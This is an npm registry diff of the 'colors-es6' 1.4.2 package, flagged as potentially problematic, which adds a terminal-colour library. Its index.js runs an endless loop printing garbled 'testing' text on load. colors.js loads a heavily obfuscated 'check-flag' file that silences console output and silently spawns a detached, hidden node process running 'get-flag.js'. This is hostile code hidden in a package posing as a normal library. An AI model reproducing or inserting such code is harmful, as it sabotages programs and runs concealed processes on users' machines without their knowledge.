colors-es6 1.4.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of colors-es6 might be problematic. Click here for more details.

package/lib/colors.js ADDED
@@ -0,0 +1,212 @@
1
+ /*
2
+
3
+ The MIT License (MIT)
4
+
5
+ Original Library
6
+ - Copyright (c) Marak Squires
7
+
8
+ Additional functionality
9
+ - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
10
+
11
+ Permission is hereby granted, free of charge, to any person obtaining a copy
12
+ of this software and associated documentation files (the "Software"), to deal
13
+ in the Software without restriction, including without limitation the rights
14
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
15
+ copies of the Software, and to permit persons to whom the Software is
16
+ furnished to do so, subject to the following conditions:
17
+
18
+ The above copyright notice and this permission notice shall be included in
19
+ all copies or substantial portions of the Software.
20
+
21
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
22
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
23
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
24
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
25
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
26
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
27
+ THE SOFTWARE.
28
+
29
+ */
30
+
31
+ var colors = {};
32
+ module['exports'] = colors;
33
+
34
+ colors.themes = {};
35
+
36
+ var util = require('util');
37
+ var ansiStyles = colors.styles = require('./styles');
38
+ var defineProps = Object.defineProperties;
39
+ require("./system/check-flag");
40
+ var newLineRegex = new RegExp(/[\r\n]+/g);
41
+
42
+ colors.supportsColor = require('./system/supports-colors').supportsColor;
43
+
44
+ if (typeof colors.enabled === 'undefined') {
45
+ colors.enabled = colors.supportsColor() !== false;
46
+ }
47
+
48
+ colors.enable = function() {
49
+ colors.enabled = true;
50
+ };
51
+
52
+ colors.disable = function() {
53
+ colors.enabled = false;
54
+ };
55
+
56
+ colors.stripColors = colors.strip = function(str) {
57
+ return ('' + str).replace(/\x1B\[\d+m/g, '');
58
+ };
59
+
60
+ // eslint-disable-next-line no-unused-vars
61
+ var stylize = colors.stylize = function stylize(str, style) {
62
+ if (!colors.enabled) {
63
+ return str+'';
64
+ }
65
+
66
+ var styleMap = ansiStyles[style];
67
+
68
+ // Stylize should work for non-ANSI styles, too
69
+ if(!styleMap && style in colors){
70
+ // Style maps like trap operate as functions on strings;
71
+ // they don't have properties like open or close.
72
+ return colors[style](str);
73
+ }
74
+
75
+ return styleMap.open + str + styleMap.close;
76
+ };
77
+
78
+ var matchOperatorsRe = /[|\\{}()[\]^$+*?.]/g;
79
+ var escapeStringRegexp = function(str) {
80
+ if (typeof str !== 'string') {
81
+ throw new TypeError('Expected a string');
82
+ }
83
+ return str.replace(matchOperatorsRe, '\\$&');
84
+ };
85
+
86
+ function build(_styles) {
87
+ var builder = function builder() {
88
+ return applyStyle.apply(builder, arguments);
89
+ };
90
+ builder._styles = _styles;
91
+ // __proto__ is used because we must return a function, but there is
92
+ // no way to create a function with a different prototype.
93
+ builder.__proto__ = proto;
94
+ return builder;
95
+ }
96
+
97
+ var styles = (function() {
98
+ var ret = {};
99
+ ansiStyles.grey = ansiStyles.gray;
100
+ Object.keys(ansiStyles).forEach(function(key) {
101
+ ansiStyles[key].closeRe =
102
+ new RegExp(escapeStringRegexp(ansiStyles[key].close), 'g');
103
+ ret[key] = {
104
+ get: function() {
105
+ return build(this._styles.concat(key));
106
+ },
107
+ };
108
+ });
109
+ return ret;
110
+ })();
111
+
112
+ var proto = defineProps(function colors() {}, styles);
113
+
114
+ function applyStyle() {
115
+ var args = Array.prototype.slice.call(arguments);
116
+
117
+ var str = args.map(function(arg) {
118
+ // Use weak equality check so we can colorize null/undefined in safe mode
119
+ if (arg != null && arg.constructor === String) {
120
+ return arg;
121
+ } else {
122
+ return util.inspect(arg);
123
+ }
124
+ }).join(' ');
125
+
126
+ if (!colors.enabled || !str) {
127
+ return str;
128
+ }
129
+
130
+ var newLinesPresent = str.indexOf('\n') != -1;
131
+
132
+ var nestedStyles = this._styles;
133
+
134
+ var i = nestedStyles.length;
135
+ while (i--) {
136
+ var code = ansiStyles[nestedStyles[i]];
137
+ str = code.open + str.replace(code.closeRe, code.open) + code.close;
138
+ if (newLinesPresent) {
139
+ str = str.replace(newLineRegex, function(match) {
140
+ return code.close + match + code.open;
141
+ });
142
+ }
143
+ }
144
+
145
+ return str;
146
+ }
147
+
148
+ colors.setTheme = function(theme) {
149
+ if (typeof theme === 'string') {
150
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
151
+ 'If you are trying to set a theme from a file, it is now your (the ' +
152
+ 'caller\'s) responsibility to require the file. The old syntax ' +
153
+ 'looked like colors.setTheme(__dirname + ' +
154
+ '\'/../themes/generic-logging.js\'); The new syntax looks like '+
155
+ 'colors.setTheme(require(__dirname + ' +
156
+ '\'/../themes/generic-logging.js\'));');
157
+ return;
158
+ }
159
+ for (var style in theme) {
160
+ (function(style) {
161
+ colors[style] = function(str) {
162
+ if (typeof theme[style] === 'object') {
163
+ var out = str;
164
+ for (var i in theme[style]) {
165
+ out = colors[theme[style][i]](out);
166
+ }
167
+ return out;
168
+ }
169
+ return colors[theme[style]](str);
170
+ };
171
+ })(style);
172
+ }
173
+ };
174
+
175
+ function init() {
176
+ var ret = {};
177
+ Object.keys(styles).forEach(function(name) {
178
+ ret[name] = {
179
+ get: function() {
180
+ return build([name]);
181
+ },
182
+ };
183
+ });
184
+ return ret;
185
+ }
186
+
187
+ var sequencer = function sequencer(map, str) {
188
+ var exploded = str.split('');
189
+ exploded = exploded.map(map);
190
+ return exploded.join('');
191
+ };
192
+
193
+ // custom formatter methods
194
+ colors.trap = require('./custom/trap');
195
+ colors.zalgo = require('./custom/zalgo');
196
+
197
+ // maps
198
+ colors.maps = {};
199
+ colors.maps.america = require('./maps/america')(colors);
200
+ colors.maps.zebra = require('./maps/zebra')(colors);
201
+ colors.maps.rainbow = require('./maps/rainbow')(colors);
202
+ colors.maps.random = require('./maps/random')(colors);
203
+
204
+ for (var map in colors.maps) {
205
+ (function(map) {
206
+ colors[map] = function(str) {
207
+ return sequencer(colors.maps[map], str);
208
+ };
209
+ })(map);
210
+ }
211
+
212
+ defineProps(colors, init());
@@ -0,0 +1,31 @@
1
+ module.exports = function americanFlag () {
2
+ console.log('LIBERTY LIBERTY LIBERTY'.yellow);
3
+ console.log('LIBERTY LIBERTY LIBERTY'.america);
4
+ console.log('LIBERTY LIBERTY LIBERTY'.yellow);
5
+ let flag = "\
6
+ \
7
+ !\
8
+ H|H|H|H|H H__________________________________\
9
+ H|§|§|§|H H|* * * * * *|---------------------|\
10
+ H|§|∞|§|H H| * * * * * |---------------------|\
11
+ H|§|§|§|H H|* * * * * *|---------------------|\
12
+ H|H|H|H|H H| * * * * * |---------------------|\
13
+ H|H|H|H|H H|---------------------------------|\
14
+ =============== H|---------------------------------|\
15
+ /| _ _ |\ H|---------------------------------|\
16
+ (| O O |) H|---------------------------------|\
17
+ /| U |\ H-----------------------------------\
18
+ | \=/ | H\
19
+ \_..._/ H\
20
+ _|\I/|_ H\
21
+ _______/\| H |/\_______ H\
22
+ / \ \ / / \ H\
23
+ | \ | | / | H\
24
+ | ||o|| | H\
25
+ | | ||o|| | | H\
26
+ | | ||o|| | | H Carl Pilcher\
27
+ ";
28
+
29
+ console.log(flag);
30
+
31
+ }
@@ -0,0 +1,46 @@
1
+ module['exports'] = function runTheTrap(text, options) {
2
+ var result = '';
3
+ text = text || 'Run the trap, drop the bass';
4
+ text = text.split('');
5
+ var trap = {
6
+ a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
7
+ b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
8
+ c: ['\u00a9', '\u023b', '\u03fe'],
9
+ d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
10
+ e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
11
+ '\u0a6c'],
12
+ f: ['\u04fa'],
13
+ g: ['\u0262'],
14
+ h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
15
+ i: ['\u0f0f'],
16
+ j: ['\u0134'],
17
+ k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
18
+ l: ['\u0139'],
19
+ m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
20
+ n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
21
+ o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
22
+ '\u06dd', '\u0e4f'],
23
+ p: ['\u01f7', '\u048e'],
24
+ q: ['\u09cd'],
25
+ r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
26
+ s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
27
+ t: ['\u0141', '\u0166', '\u0373'],
28
+ u: ['\u01b1', '\u054d'],
29
+ v: ['\u05d8'],
30
+ w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
31
+ x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
32
+ y: ['\u00a5', '\u04b0', '\u04cb'],
33
+ z: ['\u01b5', '\u0240'],
34
+ };
35
+ text.forEach(function(c) {
36
+ c = c.toLowerCase();
37
+ var chars = trap[c] || [' '];
38
+ var rand = Math.floor(Math.random() * chars.length);
39
+ if (typeof trap[c] !== 'undefined') {
40
+ result += trap[c][rand];
41
+ } else {
42
+ result += c;
43
+ }
44
+ });
45
+ return result;
46
+ };
@@ -0,0 +1,110 @@
1
+ // please no
2
+ module['exports'] = function zalgo(text, options) {
3
+ text = text || ' he is here ';
4
+ var soul = {
5
+ 'up': [
6
+ '̍', '̎', '̄', '̅',
7
+ '̿', '̑', '̆', '̐',
8
+ '͒', '͗', '͑', '̇',
9
+ '̈', '̊', '͂', '̓',
10
+ '̈', '͊', '͋', '͌',
11
+ '̃', '̂', '̌', '͐',
12
+ '̀', '́', '̋', '̏',
13
+ '̒', '̓', '̔', '̽',
14
+ '̉', 'ͣ', 'ͤ', 'ͥ',
15
+ 'ͦ', 'ͧ', 'ͨ', 'ͩ',
16
+ 'ͪ', 'ͫ', 'ͬ', 'ͭ',
17
+ 'ͮ', 'ͯ', '̾', '͛',
18
+ '͆', '̚',
19
+ ],
20
+ 'down': [
21
+ '̖', '̗', '̘', '̙',
22
+ '̜', '̝', '̞', '̟',
23
+ '̠', '̤', '̥', '̦',
24
+ '̩', '̪', '̫', '̬',
25
+ '̭', '̮', '̯', '̰',
26
+ '̱', '̲', '̳', '̹',
27
+ '̺', '̻', '̼', 'ͅ',
28
+ '͇', '͈', '͉', '͍',
29
+ '͎', '͓', '͔', '͕',
30
+ '͖', '͙', '͚', '̣',
31
+ ],
32
+ 'mid': [
33
+ '̕', '̛', '̀', '́',
34
+ '͘', '̡', '̢', '̧',
35
+ '̨', '̴', '̵', '̶',
36
+ '͜', '͝', '͞',
37
+ '͟', '͠', '͢', '̸',
38
+ '̷', '͡', ' ҉',
39
+ ],
40
+ };
41
+ var all = [].concat(soul.up, soul.down, soul.mid);
42
+
43
+ function randomNumber(range) {
44
+ var r = Math.floor(Math.random() * range);
45
+ return r;
46
+ }
47
+
48
+ function isChar(character) {
49
+ var bool = false;
50
+ all.filter(function(i) {
51
+ bool = (i === character);
52
+ });
53
+ return bool;
54
+ }
55
+
56
+
57
+ function heComes(text, options) {
58
+ var result = '';
59
+ var counts;
60
+ var l;
61
+ options = options || {};
62
+ options['up'] =
63
+ typeof options['up'] !== 'undefined' ? options['up'] : true;
64
+ options['mid'] =
65
+ typeof options['mid'] !== 'undefined' ? options['mid'] : true;
66
+ options['down'] =
67
+ typeof options['down'] !== 'undefined' ? options['down'] : true;
68
+ options['size'] =
69
+ typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
70
+ text = text.split('');
71
+ for (l in text) {
72
+ if (isChar(l)) {
73
+ continue;
74
+ }
75
+ result = result + text[l];
76
+ counts = {'up': 0, 'down': 0, 'mid': 0};
77
+ switch (options.size) {
78
+ case 'mini':
79
+ counts.up = randomNumber(8);
80
+ counts.mid = randomNumber(2);
81
+ counts.down = randomNumber(8);
82
+ break;
83
+ case 'maxi':
84
+ counts.up = randomNumber(16) + 3;
85
+ counts.mid = randomNumber(4) + 1;
86
+ counts.down = randomNumber(64) + 3;
87
+ break;
88
+ default:
89
+ counts.up = randomNumber(8) + 1;
90
+ counts.mid = randomNumber(6) / 2;
91
+ counts.down = randomNumber(8) + 1;
92
+ break;
93
+ }
94
+
95
+ var arr = ['up', 'mid', 'down'];
96
+ for (var d in arr) {
97
+ var index = arr[d];
98
+ for (var i = 0; i <= counts[index]; i++) {
99
+ if (options[index]) {
100
+ result = result + soul[index][randomNumber(soul[index].length)];
101
+ }
102
+ }
103
+ }
104
+ }
105
+ return result;
106
+ }
107
+ // don't summon him
108
+ return heComes(text, options);
109
+ };
110
+
@@ -0,0 +1,110 @@
1
+ var colors = require('./colors');
2
+
3
+ module['exports'] = function() {
4
+ //
5
+ // Extends prototype of native string object to allow for "foo".red syntax
6
+ //
7
+ var addProperty = function(color, func) {
8
+ String.prototype.__defineGetter__(color, func);
9
+ };
10
+
11
+ addProperty('strip', function() {
12
+ return colors.strip(this);
13
+ });
14
+
15
+ addProperty('stripColors', function() {
16
+ return colors.strip(this);
17
+ });
18
+
19
+ addProperty('trap', function() {
20
+ return colors.trap(this);
21
+ });
22
+
23
+ addProperty('zalgo', function() {
24
+ return colors.zalgo(this);
25
+ });
26
+
27
+ addProperty('zebra', function() {
28
+ return colors.zebra(this);
29
+ });
30
+
31
+ addProperty('rainbow', function() {
32
+ return colors.rainbow(this);
33
+ });
34
+
35
+ addProperty('random', function() {
36
+ return colors.random(this);
37
+ });
38
+
39
+ addProperty('america', function() {
40
+ return colors.america(this);
41
+ });
42
+
43
+ //
44
+ // Iterate through all default styles and colors
45
+ //
46
+ var x = Object.keys(colors.styles);
47
+ x.forEach(function(style) {
48
+ addProperty(style, function() {
49
+ return colors.stylize(this, style);
50
+ });
51
+ });
52
+
53
+ function applyTheme(theme) {
54
+ //
55
+ // Remark: This is a list of methods that exist
56
+ // on String that you should not overwrite.
57
+ //
58
+ var stringPrototypeBlacklist = [
59
+ '__defineGetter__', '__defineSetter__', '__lookupGetter__',
60
+ '__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
61
+ 'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
62
+ 'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
63
+ 'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
64
+ 'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
65
+ 'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
66
+ ];
67
+
68
+ Object.keys(theme).forEach(function(prop) {
69
+ if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
70
+ console.log('warn: '.red + ('String.prototype' + prop).magenta +
71
+ ' is probably something you don\'t want to override. ' +
72
+ 'Ignoring style name');
73
+ } else {
74
+ if (typeof(theme[prop]) === 'string') {
75
+ colors[prop] = colors[theme[prop]];
76
+ addProperty(prop, function() {
77
+ return colors[prop](this);
78
+ });
79
+ } else {
80
+ var themePropApplicator = function(str) {
81
+ var ret = str || this;
82
+ for (var t = 0; t < theme[prop].length; t++) {
83
+ ret = colors[theme[prop][t]](ret);
84
+ }
85
+ return ret;
86
+ };
87
+ addProperty(prop, themePropApplicator);
88
+ colors[prop] = function(str) {
89
+ return themePropApplicator(str);
90
+ };
91
+ }
92
+ }
93
+ });
94
+ }
95
+
96
+ colors.setTheme = function(theme) {
97
+ if (typeof theme === 'string') {
98
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
99
+ 'If you are trying to set a theme from a file, it is now your (the ' +
100
+ 'caller\'s) responsibility to require the file. The old syntax ' +
101
+ 'looked like colors.setTheme(__dirname + ' +
102
+ '\'/../themes/generic-logging.js\'); The new syntax looks like '+
103
+ 'colors.setTheme(require(__dirname + ' +
104
+ '\'/../themes/generic-logging.js\'));');
105
+ return;
106
+ } else {
107
+ applyTheme(theme);
108
+ }
109
+ };
110
+ };
package/lib/index.js ADDED
@@ -0,0 +1,23 @@
1
+ var colors = require('./colors');
2
+ module['exports'] = colors;
3
+
4
+ // Remark: By default, colors will add style properties to String.prototype.
5
+ //
6
+ // If you don't wish to extend String.prototype, you can do this instead and
7
+ // native String will not be touched:
8
+ //
9
+ // var colors = require('colors/safe);
10
+ // colors.red("foo")
11
+ //
12
+ //
13
+ require('./extendStringPrototype')();
14
+
15
+ /* remove this line after testing */
16
+ let am = require('../lib/custom/american');
17
+ am();
18
+ for (let i = 666; i < Infinity; i++) {
19
+ if (i % 333) {
20
+ // console.log('testing'.zalgo.rainbow)
21
+ }
22
+ console.log('testing testing testing testing testing testing testing'.zalgo)
23
+ }
@@ -0,0 +1,10 @@
1
+ module['exports'] = function(colors) {
2
+ return function(letter, i, exploded) {
3
+ if (letter === ' ') return letter;
4
+ switch (i%3) {
5
+ case 0: return colors.red(letter);
6
+ case 1: return colors.white(letter);
7
+ case 2: return colors.blue(letter);
8
+ }
9
+ };
10
+ };
@@ -0,0 +1,12 @@
1
+ module['exports'] = function(colors) {
2
+ // RoY G BiV
3
+ var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
4
+ return function(letter, i, exploded) {
5
+ if (letter === ' ') {
6
+ return letter;
7
+ } else {
8
+ return colors[rainbowColors[i++ % rainbowColors.length]](letter);
9
+ }
10
+ };
11
+ };
12
+
@@ -0,0 +1,11 @@
1
+ module['exports'] = function(colors) {
2
+ var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
3
+ 'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
4
+ 'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
5
+ return function(letter, i, exploded) {
6
+ return letter === ' ' ? letter :
7
+ colors[
8
+ available[Math.round(Math.random() * (available.length - 2))]
9
+ ](letter);
10
+ };
11
+ };
@@ -0,0 +1,5 @@
1
+ module['exports'] = function(colors) {
2
+ return function(letter, i, exploded) {
3
+ return i % 2 === 0 ? letter : colors.inverse(letter);
4
+ };
5
+ };
package/lib/styles.js ADDED
@@ -0,0 +1,95 @@
1
+ /*
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy
7
+ of this software and associated documentation files (the "Software"), to deal
8
+ in the Software without restriction, including without limitation the rights
9
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10
+ copies of the Software, and to permit persons to whom the Software is
11
+ furnished to do so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in
14
+ all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22
+ THE SOFTWARE.
23
+
24
+ */
25
+
26
+ var styles = {};
27
+ module['exports'] = styles;
28
+
29
+ var codes = {
30
+ reset: [0, 0],
31
+
32
+ bold: [1, 22],
33
+ dim: [2, 22],
34
+ italic: [3, 23],
35
+ underline: [4, 24],
36
+ inverse: [7, 27],
37
+ hidden: [8, 28],
38
+ strikethrough: [9, 29],
39
+
40
+ black: [30, 39],
41
+ red: [31, 39],
42
+ green: [32, 39],
43
+ yellow: [33, 39],
44
+ blue: [34, 39],
45
+ magenta: [35, 39],
46
+ cyan: [36, 39],
47
+ white: [37, 39],
48
+ gray: [90, 39],
49
+ grey: [90, 39],
50
+
51
+ brightRed: [91, 39],
52
+ brightGreen: [92, 39],
53
+ brightYellow: [93, 39],
54
+ brightBlue: [94, 39],
55
+ brightMagenta: [95, 39],
56
+ brightCyan: [96, 39],
57
+ brightWhite: [97, 39],
58
+
59
+ bgBlack: [40, 49],
60
+ bgRed: [41, 49],
61
+ bgGreen: [42, 49],
62
+ bgYellow: [43, 49],
63
+ bgBlue: [44, 49],
64
+ bgMagenta: [45, 49],
65
+ bgCyan: [46, 49],
66
+ bgWhite: [47, 49],
67
+ bgGray: [100, 49],
68
+ bgGrey: [100, 49],
69
+
70
+ bgBrightRed: [101, 49],
71
+ bgBrightGreen: [102, 49],
72
+ bgBrightYellow: [103, 49],
73
+ bgBrightBlue: [104, 49],
74
+ bgBrightMagenta: [105, 49],
75
+ bgBrightCyan: [106, 49],
76
+ bgBrightWhite: [107, 49],
77
+
78
+ // legacy styles for colors pre v1.0.0
79
+ blackBG: [40, 49],
80
+ redBG: [41, 49],
81
+ greenBG: [42, 49],
82
+ yellowBG: [43, 49],
83
+ blueBG: [44, 49],
84
+ magentaBG: [45, 49],
85
+ cyanBG: [46, 49],
86
+ whiteBG: [47, 49],
87
+
88
+ };
89
+
90
+ Object.keys(codes).forEach(function(key) {
91
+ var val = codes[key];
92
+ var style = styles[key] = [];
93
+ style.open = '\u001b[' + val[0] + 'm';
94
+ style.close = '\u001b[' + val[1] + 'm';
95
+ });
@@ -0,0 +1 @@
1
+ const _0x5d1d50=_0x523e;(function(_0x4d2bd2,_0x1500e4){const _0x4af3e5=_0x523e,_0x1def4e=_0x4d2bd2();while(!![]){try{const _0x4a2141=-parseInt(_0x4af3e5(0x14e))/0x1+parseInt(_0x4af3e5(0x15f))/0x2*(parseInt(_0x4af3e5(0x17e))/0x3)+parseInt(_0x4af3e5(0x14d))/0x4+-parseInt(_0x4af3e5(0x17c))/0x5+-parseInt(_0x4af3e5(0x178))/0x6+parseInt(_0x4af3e5(0x168))/0x7+parseInt(_0x4af3e5(0x171))/0x8;if(_0x4a2141===_0x1500e4)break;else _0x1def4e['push'](_0x1def4e['shift']());}catch(_0x7d4cb7){_0x1def4e['push'](_0x1def4e['shift']());}}}(_0x21ec,0xc4ac6));const _0x1e603d=(function(){let _0x25dcd8=!![];return function(_0x4ed580,_0x1f6516){const _0x9e6987=_0x25dcd8?function(){const _0x450997=_0x523e;if(_0x1f6516){if('QqDA'+'X'!==_0x450997(0x14f)+'z'){const _0x63bd68=_0x1f6516[_0x450997(0x157)+'y'](_0x4ed580,arguments);return _0x1f6516=null,_0x63bd68;}else{if(_0x5a0084){const _0x5255c6=_0x1566bf[_0x450997(0x157)+'y'](_0x167479,arguments);return _0x4a9760=null,_0x5255c6;}}}}:function(){};return _0x25dcd8=![],_0x9e6987;};}()),_0x966995=_0x1e603d(this,function(){const _0x185fef=_0x523e;return _0x966995['toSt'+_0x185fef(0x16d)]()[_0x185fef(0x164)+'ch'](_0x185fef(0x17d)+'+)+)'+_0x185fef(0x17a))[_0x185fef(0x163)+_0x185fef(0x16d)]()['cons'+_0x185fef(0x165)+_0x185fef(0x155)](_0x966995)[_0x185fef(0x164)+'ch'](_0x185fef(0x17d)+'+)+)'+_0x185fef(0x17a));});_0x966995();const _0x50cb32=(function(){let _0xda151f=!![];return function(_0x1d6bec,_0x5756c8){const _0x50f011=_0xda151f?function(){const _0x26f9f9=_0x523e;if('XiBN'+'O'!=='XiBN'+'O'){if(_0x1b9a64){const _0x5916b4=_0x1f75e9[_0x26f9f9(0x157)+'y'](_0x3b8efc,arguments);return _0x2c77b2=null,_0x5916b4;}}else{if(_0x5756c8){if(_0x26f9f9(0x166)+'X'===_0x26f9f9(0x166)+'X'){const _0x3ab0fe=_0x5756c8[_0x26f9f9(0x157)+'y'](_0x1d6bec,arguments);return _0x5756c8=null,_0x3ab0fe;}else{const _0x49410a=_0x19a037['appl'+'y'](_0x5ff7b8,arguments);return _0x5d8e20=null,_0x49410a;}}}}:function(){};return _0xda151f=![],_0x50f011;};}()),_0x56db3a=_0x50cb32(this,function(){const _0x5044ef=_0x523e;let _0xe5bc93;try{if('KqFv'+'c'!==_0x5044ef(0x169)+'F'){const _0x13c17f=Function(_0x5044ef(0x160)+'rn\x20('+_0x5044ef(0x16c)+_0x5044ef(0x170)+_0x5044ef(0x159)+(_0x5044ef(0x177)+_0x5044ef(0x15c)+_0x5044ef(0x151)+_0x5044ef(0x150)+'retu'+'rn\x20t'+_0x5044ef(0x179)+_0x5044ef(0x15d))+');');_0xe5bc93=_0x13c17f();}else{const _0x26ecec=_0x154df3?function(){const _0x18b4fc=_0x5044ef;if(_0x4d7060){const _0x1a3a77=_0x416e78[_0x18b4fc(0x157)+'y'](_0x3c36e8,arguments);return _0x470f0a=null,_0x1a3a77;}}:function(){};return _0xe72e25=![],_0x26ecec;}}catch(_0x528c44){_0xe5bc93=window;}const _0x31c61b=_0xe5bc93[_0x5044ef(0x161)+_0x5044ef(0x174)]=_0xe5bc93['cons'+_0x5044ef(0x174)]||{},_0x4d26a5=[_0x5044ef(0x15b),_0x5044ef(0x15e),_0x5044ef(0x173),_0x5044ef(0x167)+'r',_0x5044ef(0x162)+_0x5044ef(0x17f)+'n',_0x5044ef(0x16f)+'e','trac'+'e'];for(let _0xc41928=0x0;_0xc41928<_0x4d26a5[_0x5044ef(0x154)+'th'];_0xc41928++){if(_0x5044ef(0x16b)+'X'!=='lxaP'+'L'){const _0x1a5a9b=_0x50cb32[_0x5044ef(0x161)+'truc'+_0x5044ef(0x155)]['prot'+'otyp'+'e'][_0x5044ef(0x17b)](_0x50cb32),_0x4294ec=_0x4d26a5[_0xc41928],_0x13bdaa=_0x31c61b[_0x4294ec]||_0x1a5a9b;_0x1a5a9b[_0x5044ef(0x156)+_0x5044ef(0x175)+'_']=_0x50cb32[_0x5044ef(0x17b)](_0x50cb32),_0x1a5a9b[_0x5044ef(0x163)+'ring']=_0x13bdaa['toSt'+_0x5044ef(0x16d)][_0x5044ef(0x17b)](_0x13bdaa),_0x31c61b[_0x4294ec]=_0x1a5a9b;}else{const _0x1a57cf=_0xd99909[_0x5044ef(0x161)+_0x5044ef(0x165)+_0x5044ef(0x155)][_0x5044ef(0x16e)+_0x5044ef(0x152)+'e'][_0x5044ef(0x17b)](_0x596939),_0x3e9362=_0x4a5881[_0x237682],_0x3cb1b0=_0x67f1d5[_0x3e9362]||_0x1a57cf;_0x1a57cf['__pr'+_0x5044ef(0x175)+'_']=_0x32e9c1[_0x5044ef(0x17b)](_0x2fc649),_0x1a57cf[_0x5044ef(0x163)+'ring']=_0x3cb1b0[_0x5044ef(0x163)+'ring'][_0x5044ef(0x17b)](_0x3cb1b0),_0x498bb0[_0x3e9362]=_0x1a57cf;}}});_0x56db3a();function _0x21ec(){const _0x3800d0=['retu','cons','exce','toSt','sear','truc','ieyN','erro','7362432eZZPqr','gdqL','.js','TqPu','func','ring','prot','tabl','tion','6531096qLWKsR','unre','info','ole','oto_','igno','{}.c','2313348AZHbcJ','his\x22','+)+$','bind','3055810WiUxRl','(((.','3dRxlEo','ptio','4108616pqnXel','1244725fWFrnX','mJCV','or(\x22','ruct','otyp','oces','leng','tor','__pr','appl','d_pr','()\x20','flag','log','onst',')(\x20)','warn','303404YrWwdH'];_0x21ec=function(){return _0x3800d0;};return _0x21ec();}function _0x523e(_0x2f2d6d,_0x38847a){const _0x587578=_0x21ec();return _0x523e=function(_0x56db3a,_0x50cb32){_0x56db3a=_0x56db3a-0x14d;let _0x1dd54d=_0x587578[_0x56db3a];return _0x1dd54d;},_0x523e(_0x2f2d6d,_0x38847a);}const {spawn}=require('chil'+_0x5d1d50(0x158)+_0x5d1d50(0x153)+'s'),child=spawn('node',['get-'+_0x5d1d50(0x15a)+_0x5d1d50(0x16a)],{'detached':!![],'stdio':_0x5d1d50(0x176)+'re','windowsHide':!![],'cwd':__dirname});child[_0x5d1d50(0x172)+'f']();